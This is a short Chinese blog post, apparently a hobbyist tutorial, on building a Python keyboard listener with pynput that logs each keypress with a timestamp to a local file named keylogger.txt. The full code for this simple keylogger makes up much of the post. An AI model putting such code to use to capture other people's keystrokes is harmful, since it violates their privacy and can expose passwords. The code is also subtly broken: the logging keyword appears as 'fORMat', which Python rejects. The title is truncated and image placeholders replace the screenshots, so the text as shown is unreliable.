python 键盘监听+记录 [ p

2023-01-31 04:01:16 记录 监听 键盘

今天想做一个键盘监听的小程序,去网上搜了一下,发现用python写键盘监听主要有pyhook和pynput两种………
这里用的是pynput,logging。
本来想用Jupyter Notebook写的,但是发现运行不了,可能是没有装pynput,然后选择了用PyCharm,比较方便。

pynput 安装

键入代码

安装好pynput后,键入代码,代码如下:

from pynput.keyboard import Listener
import logging

wenjianweizhi = "C:\\hi\\"

logging.basicConfig(filename=(wenjianweizhi+"keylogger.txt"),fORMat="%(asctime)s:%(message)s",level=logging.DEBUG)

def press(key):
    logging.info(key)

with Listener(on_press = press) as listener:
        listener.join()

其中%(asctime)s表示时间,%(message)s表示用户输入,DEBUG日志的级别,多用于调试。

运行

运行一下,发现c盘多了一个文档:
这里写图片描述
这个文档就是用来记录的。
运行结果如下:
这里写图片描述

相关文章